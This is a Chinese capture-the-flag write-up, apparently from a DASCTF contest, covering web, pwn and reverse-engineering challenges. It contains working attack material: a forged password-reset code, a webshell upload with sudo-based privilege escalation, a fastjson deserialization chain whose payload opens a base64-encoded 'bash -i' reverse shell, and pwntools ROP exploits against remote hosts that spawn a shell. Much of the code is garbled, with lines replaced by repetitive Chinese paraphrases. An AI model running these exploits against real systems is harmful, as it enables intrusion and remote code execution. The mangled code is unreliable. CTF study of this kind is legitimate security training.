揭秘Git密码重置漏洞:验证码生成逻辑缺陷与PHP安全风险分析

[id_1270453896]

揭秘Git密码重置漏洞:验证码生成逻辑缺陷与PHP安全风险分析

在忘记密码的逻辑里,生成的验证码与邮箱以及时间戳存在关联,并未引入随机数。在本地运行一下就能得出该验证码,接着凭借这个验证码来重置 root@codefever.cn 的密码,之后便可登录并看到 flag 了。


此函数用于生成 uuid。
namespace service\Utility;

define('TOTP_SALT'[id_617403292][id_119[id_1928217095]5657]);

class TOTP {

    const[id_1432809748]'codefever_salt';
    const TOTP_REFRESH_INTERVAL = 30;
    const TOTP_CHECK_WINDOW_MIN = -10;
    const TOTP_CHECK_WINDOW_MAX = 10;
    const PASSWORD_LENGTH = 6;

    static private function [id_973200094] (string $input) {
        $salt = [id_551991558]::SALT;
        if (TOTP_SALT) {
$salt 被赋值为 TOTP_SALT 。
        }

如果 $input 有值,就使用 $input ;如果 $input 没有值,就使用空值(这里可以根据具体情况进行相应的默认值设置或其他处理)。self::SALT;

        return hash('sha256', md5($input) . md5($salt), FALSE);
    }

    static private function genTotp 字符串 $hashedInput 和整数 $timestamp {
$sequence 等于 $timestamp 除以某个数后的向下取整结果。具体来说,$sequence 是 $timestamp 除以某个数后得到的商向下取整得到的数值。30);
        $code = hash_hmac('sha256'使用哈希输入,对序列进行 MD5 哈希计算,即计算序列的 MD5 值,同时也有单独的 md5 函数对序列进行 MD5 计算。TRUE);

        $finalValue = 0;
        $index = 0;

        do {
最终值加上代码中索引位置的字符的 ASCII 码所代表的数值。
$finalValue 等于 $finalValue 。<< 2;
            $index++;
        } while (isset($code[$index]));

        return $finalValue;
    }

    static private function trimTotp (int $sourceTotp) {
$trimedTotp 等于 $sourceTotp 对 pow( 进行取模运算所得的结果。10, self::PASSWORD_LENGTH);
        $format = "%'.0". self::PASSWORD_LENGTH ."u";
        return使用 sprintf 函数,将 abs($trimedTotp) 的值按照 $format 进行格式化处理。
    }


    static function generate(string $input) {
        return self::trimTotp(self::genTotp(self使用了(::hashInput($input), time())); 这样的内容。
    }

    static function check(string $input, string $code) {
        $hashedInput = self::hashInput($input);
当前时间被赋值给变量$currentTime,这个时间是通过 time()函数获取到的。
        for (
            $windowIndex = self::TOTP_CHECK_WINDOW_MIN;
            $windowIndex <= self::TOTP_CHECK_WINDOW_MAX;
            $windowIndex++
        ) {
            if (
                $code === self::trimTotp(
                    self::genTotp(
$hashedInput 是一个经过哈希处理的输入。它是通过特定的哈希算法对原始数据进行计算得到的结果。这个结果具有唯一性和不可逆性,即无法从哈希值还原出原始数据。哈希算法在信息安全领域有着广泛的应用,例如用于密码存储、数据完整性验证等。$hashedInput 可以作为一种安全的标识或指纹,用于在不同的系统或场景中识别和验证数据的一致性。
当前时间加上窗口索引乘以某个值。self::TOTP_REFRESH_INTERVAL)
                    )
                )
            ) {
                return TRUE;
            }
        }

        return FALSE;
    }
}
$email = 'root@codefever.cn';
echo TOTP::generate($email);

unusual php

能进行 AFR 操作,显示的报错是关于 /tmp/fuck.php 执行的情况。对 index.php 产生了怀疑,直接读取 index.php 后发现其内容是乱码。通过伪协议读取二进制文件,猜测其为密文,应该是开启了 zend 扩展。阅读 phpinfo 后发现存在 zend-test 的扩展。

扩展位置为 /usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so 。对.so 文件进行逆向操作,在 my_compile_file 函数中能够看到大概的逻辑。首先读取文件,接着用 rc4 进行解密,然后通过 zend_stream_open 打开到 /tmp/fuck.php ,最后执行该文件,其密钥是 abcsdfadfjiweur 。

对一句话木马进行 rc4 加密,然后将其上传至远程,这样就能实现 rce。拿到 shell 之后,尝试进行 suid 提权但没有成功,接着尝试 sudo -l 提权,发现对 chmod 操作不需要密码,所以把 flag 的权限修改为可读,这样就可以读到 flag 了。

Node Magical Login

flag1 是通过设定 cookie 的 user=admin 这样的键值对而得以获得的。

flag2通过这种方式获取:

try{
将 checkcode 转换为小写形式。
    if(checkcode !== "aGr5AtSp55dRacer"){
        res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
    }
}[id_1221329725] (__) {}
res.status(200).type("text/html").json({"msg":你获得了旗帜的另一部分: + flag2.toString().trim()})

发现获取 flag 的操作不在 try 语句块内。尝试在 toLowerCase 处触发异常,通过传递一个长度为 16 的数组,且数组元素不是字符的方式来触发异常,然后直接得到 flag2。

easy_api(*)

前半部分的 bypass filter 是由于不小心多打了一个斜杠而绕过去的。对于 //api/test 后面的反序列化部分,注意到了 lib 里有这些依赖,并且给的是原生反序列化入口,所以就忽略了 fastjson。

发现yso里正好有一个现成的

Spring2 是由 @mbechler 提供的,其中包含 spring-core:4.1.4.RELEASE、spring-aop:4.1.4.RELEASE 以及 aop。
alliance 为 1.0 ,commons-logging 为 1.2

想当然地去复现 spring2 的链子,后来发现 spring 的版本对不上,此时已经来不及了。fastjson 最经典的部分在于它会自动触发 getter 以加载字节码的 getProperties。可以通过 JSON.parse 来触发 getter 的触发方式,也能够通过 toJSONString 来触发。非常有意思的是,JSON 这个类的 toString 实际上就是 toJSONString。

思路已经明确。题目禁止了 BadAttributeValueExpException 以触发 tostring ,通过 xstring 来触发,只需复制之前的部分就行。利用链包含 readObject 操作,接着进行 hashmap.put 操作,然后是 xstring.tostring 操作,之后是 JSON.tostring 操作,最后是 templates.getproperties 操作,最后的 exp 为……(此处需根据具体 exp 内容进行补充)

package com.example;

importcom.alibaba.fastjson 库中的 JSONObject 类。
importcom.sun.org.apache.xalan.internal.xsltc.trax 下的 TemplatesImpl 类;
importcom.sun.org.apache.xpath 内部的对象是 XString 。
import javassist.ClassPool;
importorg.springframework.aop 中的目标源类为 HotSwappableTargetSource 。

importjava 中的 io 包下有 ByteArrayOutputStream 类。
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
importjava.lang.reflect 中的 Constructor 类;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class api_test_payload {
    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
获取名为 fieldName 的字段,该字段来自 clazz 类,通过 clazz.getDeclaredField(fieldName) 方法获取到该字段并赋值给 field 变量。
使 field 成为可访问的。true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
从 clazz 的超类中获取名为 fieldName 的字段,将其赋值给 field 。
        }
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final获取对象 obj 的类的字段名为 fieldName 的字段,将其赋值给 Field 类型的变量 field,即 Field field = getField(obj.getClass(), fieldName);
将值 value 设置到对象 obj 对应的 field 中。
    }

    public static void main(String[] args) throws Exception{
TemplatesImpl 的 templates 是这样的:它…… ;或者 有一个 TemplatesImpl 叫做 templates ,这个 templates …… ;又或者 TemplatesImpl 的 templates 具有…… 等多种表达方式,只要能体现出 TemplatesImpl 的 templates 的相关内容即可。new TemplatesImpl();
然后将值设置到模板中。"_bytecodes", new byte[][]{
获取默认的 ClassPool 并从中获取 fucktemplate 。.class.getName()).toBytecode()
        })
;
        setFieldValue(templates, "_name", "fucktemplate");
        setFieldValue(templates, "_class", null);
JSONObject 是一个类,它用于处理 JSON 数据。通过创建 JSONObject 的实例,可以将 JSON 数据表示为 Java 对象的形式,以便在 Java 程序中进行操作和处理。例如,可以使用 JSONObject 的 put 方法将键值对添加到 JSON 对象中,使用 get 方法获取指定键的值等。new JSONObject();
        jsonObject.put("jb", templates);
        HashMap<[id_2021795699], Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
nodeC 等于通过 Class.forName 方法获取到的类。"java.util.HashMap$Node");
        }
        catch当出现 ClassNotFoundException 这种异常情况时,即(当遇到 ClassNotFoundException 这种情况时):(当发生 ClassNotFoundException 这种状况时):(当有 ClassNotFoundException 这种异常出现时):(当碰到 ClassNotFoundException 这种情况时):(当遭遇到 ClassNotFoundException 这种异常状况时):(当面临 ClassNotFoundException 这种情况时):(当碰到关于 ClassNotFoundException 的异常时):(当遇到与 ClassNotFoundException 相关的情况时)
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        ConstructornodeCons 等于 nodeC 获取的声明构造函数,这个构造函数用于创建对象。它接收特定类型的参数,以初始化对象的状态和行为。通过这个构造函数,可以创建具有特定属性和方法的对象实例。int.class, Object.class, Object.class, nodeC);
nodeCons 拥有可被访问的特性。true);
创建一个名为 tbl 的对象,它是通过 newInstance 方法创建的,创建时使用的是 nodeC 作为参数,创建的数组大小未知。2);
HotSwappableTargetSource 的 v1 版本是newHotSwappableTargetSource 被传入了 jsonObject 。
HotSwappableTargetSource 的 v2 版本等于new HotSwappableTargetSource(new XString("xxx"));
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        try{
创建一个 ByteArrayOutputStream 对象,将其赋值给 byteArrayOutputStream 变量。new ByteArrayOutputStream();
创建一个 ObjectOutputStream 对象,将其赋值给 outputStream 变量。new创建一个 ObjectOutputStream 对象,参数为 byteArrayOutputStream。
OutputStream 会将对象 s 写入其中。OutputStream 把对象 s 进行写入操作。OutputStream 执行了将对象 s 写入的动作。
System.out 会打印出经过 URL 编码后的内容,这里使用了 URLEncoder 的 encode 方法来对某个字符串进行编码操作。new使用 Base64 编码器对字节数组输出流中的字节数组进行编码,得到的结果用字符串表示。"UTF-8"));
输出流被关闭。
        }catch(Exception e){
改写后的句子“输出错误信息 e 的详细堆栈跟踪信息。”清晰地表达了原句的意思,即通过某种方式将与“e”相关的错误信息及其详细的堆栈跟踪内容展示出来,让开发者可以对异常进行分析和调试。
        }
    }
}

fucktemplate部分:

package com.example;

importcom.sun.org.apache.xalan.internal.xsltc 包含 DOM 相关内容。
importcom.sun.org.apache.xalan.internal.xsltc 出现 TransletException 异常。
importcom.sun.org.apache.xalan.internal.xsltc.runtime 中的 AbstractTranslet ;
importcom.sun.org.apache.xml.internal.dtm 中的 DTMAxisIterator
importcom.sun.org.apache.xml.internal.serializer 中的 SerializationHandler

public class fucktemplate extends AbstractTranslet {

    public fucktemplate() {
        super();
        try {
运行时获取运行时对象,然后调用该对象的 exec 方法。bash 执行命令:先将 {echo,YmFzaCAtaS***==} 进行 echo 操作,然后将结果通过 {base64,-d} 进行解码,最后将解码后的内容通过 {bash,-i} 执行。);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform使用 DOM 文档以及序列化处理程序数组(handlers)。 throws TransletException {

    }

    public void transformDOM document 与 DTMAxisIterator iterator 以及 SerializationHandler handler 相关联。 throws TransletException {

    }
}

Pwnbabycalc

z3解方程

from z3 import *
v3 被赋值为 Ints 函数的结果,v4 被赋值为 Ints 函数的结果,v5 被赋值为 Ints 函数的结果,v6 被赋值为 Ints 函数的结果,v7 被赋值为 Ints 函数的结果,v8 被赋值为 Ints 函数的结果,v9 被赋值为 Ints 函数的结果,v10 被赋值为 Ints 函数的结果,v11 被赋值为 Ints 函数的结果,v12 被赋值为 Ints 函数的结果,v13 被赋值为 Ints 函数的结果,v14 被赋值为 Ints 函数的结果,v15 被赋值为 Ints 函数的结果,v16 被赋值为 Ints 函数的结果,v17 被赋值为 Ints 函数的结果,v18 被赋值为 Ints 函数的结果。)
solver = Solver()
solver 加上 v5 乘以 v4 再乘以 v3 然后减去 v6 等于 0 。0x8D56)
solver.add(v3 == 0x13)
solver.add(v5 * 0x13 * v4 + v6 == 0x8DE2)
solver 添加了 (v13 加 v3 减 v8) 乘 v16 等于0x8043)
solver 增加了一个条件,即 (v5 加上 v4 乘以 v3) 乘以 v6 等于0xC986)
solver 增加了 v9 乘以 v8 乘以 v7 再减去 v10 等于 0 这个条件。0xF06D)
solver 增加了 v10 乘以 v15 再加上 v4 以及 v18 的结果等于0x4A5D)
solver 添加了 v9 乘以 v8 再乘以 v7 与 v10 的和,即 v9 乘以 v8 乘以 v7 加上 v10 等于某个值。0xF1AF)
solver 添加了 (v8 乘以 v7 减去 v9) 乘以 v10 等于0x8E03D)
solver.add(v11 == 0x32)
solver 增添了这样的条件:(v9 加上 v8 与 v7 的乘积)乘以 v10 等于0x8F59F)
solver 加上 v13 乘以 v12 乘以 v11 再减去 v14 等于 0 。0x152FD3)
solver 加上 v13 与 v12 的乘积再乘以 v11 然后加上 v14 等于0x15309D)
solver 增加了 (v12 乘以 v11 减去 v13) 乘以 v14 等于0x9C48A)
solver 增加了 (v11 乘以 v5 减去 v16) 乘以 v12 等于 0 的条件。0x4E639)
solver 增添了这样一个条件:(v13 加上 v12 乘以 v11) 再乘以 v14 等于0xA6BD2)
v17 乘以 v16 再乘以 v15 后减去 v18 被 solver 进行添加使其结果为 0 。0x8996D)
solver 加上 v17 乘以 v16 再乘以 v15 然后加上 v18 等于0x89973)
solver.add(v14 == 0x65)
solver 增加了 (v16 乘以 v15 减去 v17) 再乘以 v18 等于0x112E6)
solver 加上 (v17 与 v16 乘以 v15 的和) 再乘以 v18 等于0x11376)
print(solver.check())
print(solver.model())

0x100 字节的能量能使 rbp 的最低位为零,此地址有落在 buf 里的可能。buf 溢出控制 i 可实现向前无数字节改写以及向后一字节改写,将返回地址改写为一个 leave ret 指令进行栈迁移以泄露 libc,接着返回 0x400c1b 再次进行栈迁移并执行 system('/bin/sh')。

from pwn import *
#from LibcSearcher import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

p=remote('tcp.cloud.dasctf.com',24101)
#p=process('./babycalc')
elf=ELF('./babycalc')
#gdb.attach(p)
v=[19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]
s=b''
for i in v:
    s+=i.to_bytes(1,'little')
print(s)
ret_addr=0x400c19
pop_rdi=0x400ca3
payload=b'24'+b'\x00'*6+p64(ret_addr)*21+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400c1b)+s+b'\x00'*28+b'\x38'+b'\x00\x00\x00'
p.sendafter(b'number-1:',payload)
p.recvuntil(b'good done\n')

#leak libc
x=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
puts_addr=u64(x)
print(hex(u64(x)))
LibcSearcher 中的“puts”与 puts_addr 相关联,即 #libc 等于 LibcSearcher 且参数为“puts”和 puts_addr
libcbase=u64(x)-0x06f6a0
print(hex(libcbase))

#system('/bin/sh')
system_addr=libcbase+0x0453a0
bin_sh_addr=libcbase+0x18ce57
shellcode=b'24'+b'\x00'*6+p64(ret_addr)*22将 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)与 s 进行组合。 先使用 p64(pop_rdi)进行操作,接着使用 p64(bin_sh_addr),然后使用 p64(system_addr),最后加上 s。 分别对 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)和 s 进行处理。 依次执行 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)以及 s 的相关操作。 把 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)与 s 依次进行组合和操作。 先有 p64(pop_rdi),接着是 p64(bin_sh_addr),然后是 p64(system_addr),最后加上 s 进行后续处理。 对 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)和 s 分别进行相应操作并组合。 按照 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)的顺序与 s 进行组合和操作。 先执行 p64(pop_rdi)的操作,再执行 p64(bin_sh_addr)的操作,接着执行 p64(system_addr)的操作,最后加上 s 完成后续步骤。 分别将 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)与 s 进行组合和处理。 先有 p64(pop_rdi)的操作,然后有 p64(bin_sh_addr)的操作,接着有 p64(system_addr)的操作,最后加上 s 进行相关处理。 把 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)依次与 s 进行组合和操作。 按照 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)的顺序与 s 进行组合等操作。 先进行 p64(pop_rdi)的操作,接着进行 p64(bin_sh_addr)的操作,再进行 p64(system_addr)的操作,最后加上 s 完成相关步骤。 分别将 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)与 s 进行组合等处理。 先有 p64(pop_rdi)的相关操作,接着有 p64(bin_sh_addr)的相关操作,然后有 p64(system_addr)的相关操作,最后加上 s 进行后续处理。 把 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)依次与 s 进行相关操作。 按照 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)的顺序与 s 进行相关组合等操作。 先进行 p64(pop_rdi)的相关操作,接着进行 p64(bin_sh_addr)的相关操作,再进行 p64(system_addr)的相关操作,最后加上 s 完成相关的组合等步骤。 分别将 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)与 s 进行相关的组合等处理。 先有 p64(pop_rdi)的相关组合等操作,接着有 p64(bin_sh_addr)的相关组合等操作,然后有 p64(system_addr)的相关组合等操作,最后加上 s 进行后续的相关处理。 把 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)依次与 s 进行相关的组合等操作并完成后续处理。 按照 p64(pop_rdi)、p64(bin_sh_addr)、p64(system_addr)的顺序与 s 进行相关的组合等操作并完成后续的相关处理。 先进行 p64(pop_rdi)的相关组合等操作,接着进行 p64(bin_sh_addr)的相关组合等操作,再进行 p64(system_addr)的相关组合等操作,最后加上 s 完成整个相关的组合等处理过程。 分别将 pb'\x00'*28+b'\x38'+b'\x00'*3
p.send(shellcode)
#p.recvuntil(b'good done\n')
p.interactive()
#pause()

Message Board

给了一个仅能使用一次的格式化字符串,一个长度足够长且会溢出 0x10 字节的栈,能够被用于做 frame faking ,进而泄露 libc 。题目中存在沙箱,通过构造 orw 就可以拿到 flag 。

from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./pwn")
    libc = ELF(“/lib/x86_64-linux-gnu 路径下的 libc-2.31.so 文件”)
else:
    p = remote("tcp.cloud.dasctf.com", 23625)
    libc = ELF("./libc.so.6")
    
def debugf(b=0):
    if debug:
        if b:
            gdb 对 p 进行 attach 操作,执行“b *$rebase({b})”这个命令,其中 b 的值为十六进制的 hex(b)。
            gdb.attach(p,"b *({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
            
elf = ELF('./pwn')

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

# debugf(0x401373)

pop_rdi = 0x0000000000401413
pop_rsi = 0x0000000000401411
p.send(b"%p")

p.recvuntil("Hello, ")
stack_address 等于 p 接收到的内容直到某个特定条件为止,然后将其转换为整数。"N")[:-1].decode(),16)
print(hex(stack_address))
将[-6:]进行左对齐操作,用 8 个字节的 b"\x00"进行填充,得到的结果为 u64([-6:].ljust(8, b"\x00"))
leave = 0x4013A2
payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b"e"*0x90 + p64(stack_address + 0x8) + p64(leave)
p.send(payload)
具体来说,是通过 p.recvuntil( 来接收数据,直到遇到特定的条件,然后将接收到的数据转换为无符号 64 位整数并赋值给 libc.address 。"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
print(hex(libc.address))
payload2 等于将 pop_rdi 进行 p64 操作后再加上一个 p64 操作的结果。0x4040B0) + p64(libc.sym["gets"]) + p64(0x401150) + b"e"*0x90 + p64(stack_address -0x180 + 0x8) + p64(leave)
p.send(payload2)
p.recvuntil("Successfully~")

p.send(b"./flag\x00\x00\n")

payload3 等于将 pop_rdi 进行 p64 操作后再加上 p64( 后面的内容(此处缺少具体的后续内容,无法完整改写句子)。0x4040b0) + p64(pop_rsi) + p64(0)*2 + p64(libc.sym["open"]) + p64(0x401150)+ b"e"*0x78 + p64(stack_address -0x300 + 0x8) + p64(leave)
payload 等于将 pop_rdi 进行 p64 操作后,再加上 p64(0x404028),接着加上 p64(0x4010E0),然后加上 p64(0x401150),之后加上 0x90 个字节的 b"e",再加上 p64(stack_address - 0x300 + 0x8),最后加上 p64(leave)
# p.send(payload)
p.send(payload3)

payload4 = p64(0x40140A) + p64(0) + p64(1) + p64(3) + p64(0x4040e0) + p64(0x40) + p64(0x404048) + p64(0x4013F0) + b"a"*56 
payload4 加上 p64(pop_rdi) 然后再加上 p64(1) + p64(libc.sym["write"])
payload4 += p64(0x401150)+ b"e"*0x18 + p64(stack_address -0x460 + 0x8) + p64(leave)
print(len(payload4))
print(len(payload3))
p.send(payload4)
p.interactive()

ReverseDual personality

程序设计了天堂之门转换架构。在函数 401120 之后,会从 x86 架构转换为 x64 架构。并且,函数 401120 会对地址 407050 进行处理,将其填充为一个给定的函数地址。

最后与已知密文进行了比较。 按照流程逆序写出解密过程即可

cipher=[0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA]
print(len(cipher))
key=[0x9d,0x44,0x37,0xb5]
key[0]&=key[1]
key[1]|=key[2]
key[2]^=key[3]
key[3]=(~key[3])&0xff
for i in range(32):
    cipher[i]^=key[i%4]

def ror(a,b,c=64):
    return (a>>b)|((a<<(c-b))&((1<-1))
cipher 等于将字节序列 cipher[i:i+] 转换为整数,其中 i 从 0 开始每次增加某个固定值,直到遍历完整个 cipher 字节序列。具体来说,就是通过 int.from_bytes 函数将字节片段转换为整数。8]),'little') for i in range(0,32,8)]
cipher[0]=ror(cipher[0],12)
cipher[1]=ror(cipher[1],34)
cipher[2]=ror(cipher[2],56)
cipher[3]=ror(cipher[3],14)
cipher=b''.join([i.to_bytes(8,'little') for i in cipher])

delta=0x5DF966AE-0x21524111
cipher 等于从 cipher 中索引为 i 的位置开始,取连续的 i + 1 个字节,然后通过 int.from_bytes 方法将其转换为整数。4],'little') for i in range(0,32,4)]

for i in range(8):
delta_next 等于 delta 的 cipher[i]次方
    cipher[i]-=delta
    cipher[i]&=0xffffffff
    delta=delta_next
text=b''.join([i.to_bytes(4,'little') for i in cipher])
print(text)

Berkeley

程序带有调试信息,在注释里有源码存在。通过提取 ebpf 字节码进行逆向操作,从而发现它与源码是相对应的。加密的逻辑较为简单,直接运用 Z3 来进行求解。

key_hex = 该字符串包含大量字符,具体为 C1D10261D6F713A29B20D04A8F7FEEB9006334B033B78A8B94602E8E21FF9082D587967822B6486C45C75A1680FDE48CBF011F4B7924A0B4234D3BC55D6F0DC9D4CA55E039AD2BCD2CECC26B30E60CA89A2FF6E8BB3257FB0B9DF23FB5F959E510CF5141E950DF267458CB645473ABF4B29F18F84EFE081D4F49D3AC3812771169071C99B3E73D05D8FC704693096589B1C652FAD20EA917E391A1685B2AF0C342CC29DEDC8598315CBC2DEF5E7EAF6762A75688A44340E1379E36767184BD068D477D53D7C8CE1592954C286D75EB7CF3BEAAB8ED033C273E19DDA666251EC46EC0E2DB3AD981A51BF504AEBAEA97833544A37A1AF186DA7B14729C6A0F5F0A00 。
使用十六进制字符串 key_hex 生成一个字节数组,赋值给变量 key ,即 key 等于通过 fromhex 方法将 key_hex 转换后的字节数组。

cipher_hex = 该字符串为 F327471B8F09FB177048B05332DBC0B8632D404BF516F035E7DFEAA29C41B325D70C339C7B5ACD13BBEE3E0EF2CF35DAAFA2667D3837671E1F6B7B300B7A02A9C8612741DB0122316FB6D41B04D394B846C724CFBDAF0BDC2EBBB271F4995736D1955292BA6DF33050599BEA2F83DCF0DE57A1ACD251A21D59A800B6E265410C4FEBF02E582A1FF49572887CA90ECB3C42B9F3499B529812A31751C059400ABCE84C04FB130A173FE63697DFB3E2427FF8CC0ED177C4A84648E3F10AEF9456545BCABDDD7F5647C299FA89CCE1B93A78E23758011BC34BE68CF3E5B6719E63AF11CE87F66EDEC8B1D07A156C1008997B2255107A8273FC62CB34A7B762FA6B9F
cipher 是通过将 cipher_hex 从十六进制转换后得到的字节数组。即 cipher 等于由 bytearray.fromhex(cipher_hex) 所生成的结果。

fake_cipher_hex = 2095209580 这个字符串由 AAFFC04、AAE8A5C0、D8D1F6D0、D8DA215、EEF34DC8、7F7523CE、D150C1DF 等部分组成。
fake_cipher 由十六进制的 fake_cipher_hex 转换而来,通过 bytearray.fromhex 方法得到。

from z3 import *

s = Solver()
flag = [BitVec(('x%d' % i), 8) for i in range(32)]
arr = [BitVec(('arr%d' % i), 8) for i in range(8)]

for i in range(256):
idx1 等于 key 中 cipher[i] 的索引值与 key[i] 进行异或运算的结果。
    idx2 = key.index(idx1)
    uc1 = flag[i//8]
    uc2 = (~(flag[i//8] + arr[i%8]))&0xff
    s.add(uc1 ^ uc2 == idx2)
for i in range(32):
  s.add(flag[i] >= 47)
  s.add(flag[i] <=122)

if s.check()==sat:
    print("sat")
    for i in range(32):
打印(字符串(s 的模型())加上 flag[i]对应的元素)', ', end='')
    
print('')
l = [55, 49, 99, 50, 97, 99, 57, 56, 97, 99, 56, 100, 57, 57, 97, 50, 101, 56, 97, 57, 53, 49, 49, 49, 52, 52, 57, 97, 55, 51, 57, 51]
res = ''

for i in range(len(l)):
  res += chr(l[i])
print(res)

BabyRE

此程序在 preinitialize 阶段完成了整个流程,通过分析 40615c 所在的三个函数就可以做到

输入 401000,将一个 rc4 加密的函数用 atexit 保存;进行 401050 的初始化,把一个 sha1 算法用 atexit 保存;用 atexit 保存一个 base 编码算法。依据 atexit 的性质,它们应从后往前执行,也就是先进行编码,接着做 sha1(不过这里的 sha1 只是一个校验,并非中间过程),然后进行 rc4。经分析可得,rc4 加密的密钥是由输入得到的,当输入的字符数超过 42 个时,超出的六个字符就是 rc4 的密钥。

根据输入限制,密钥的范围在 0 到 9 之间。并且后 96 位的明密文对是已知的。所以可以直接进行爆破。

s=[i for i in range(256)]

cipher=[0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, 0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, 0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, 0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, 0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, 0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, 0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, 0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, 0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, 0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, 0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, 0xB0, 0x70]
mid=[0]*16+[0x31, 0x36, 0x32, 0x33, 0x30, 0x34, 0x36, 0x35, 0x31, 0x35, 0x32, 0x33, 0x33, 0x34, 0x36, 0x32, 0x31, 0x34, 0x34, 0x33, 0x31, 0x34, 0x37, 0x31, 0x31, 0x35, 0x30, 0x33, 0x31, 0x30, 0x37, 0x30, 0x31, 0x35, 0x30, 0x33, 0x32, 0x30, 0x37, 0x31, 0x31, 0x36, 0x30, 0x33, 0x32, 0x30, 0x36, 0x33, 0x31, 0x34, 0x30, 0x33, 0x33, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x34, 0x34, 0x36, 0x31, 0x31, 0x34, 0x34, 0x33, 0x34, 0x30, 0x36, 0x36, 0x31, 0x34, 0x32, 0x33, 0x30, 0x34, 0x36, 0x36, 0x31, 0x35, 0x36, 0x33, 0x34, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x30, 0x34, 0x36, 0x34]

# 枚举6位十进制的key
for j1 in range(0x30,0x3a):
    for j2 in range(0x30,0x3a):
        for j3 in range(0x30,0x3a):
            for j4 in range(0x30,0x3a):
                for j5 in range(0x30,0x3a):
                    for j6 in range(0x30,0x3a):
key 包含了 j1、j2、j3、j4、j5 和 j6 这些元素。
                        v6=0
                        for i in range(256):
s 中的第 i 个元素等于 i 。
                        for i in range(256):
v6 等于 v6 加上 key 中 i 对 key 的长度取余后的结果。6]+s[i])%256
将 s[i] 与 s[v6] 的位置进行交换,即 s[i] 变为原来 s[v6] 的位置,s[v6] 变为原来 s[i] 的位置。
                        flag=1
v7 和 v6 分别是……;v7 等于……;v6 等于……0,0
                        for i in range(112):
v7 等于 v7 加上某个数。1)%256
v6 等于 v6 加上 s[v7]的和后再取余。256
s[v7]的值被赋值给 s[v6],同时 s[v6]的值被赋值给 s[v7]。
                            if i<16:
请提供需要改写的句子呀,你没有给出具体的横线下的句子呢。continue
                            if cipher[i]^s[(s[v6]+s[v7])%256]!=mid[i]:
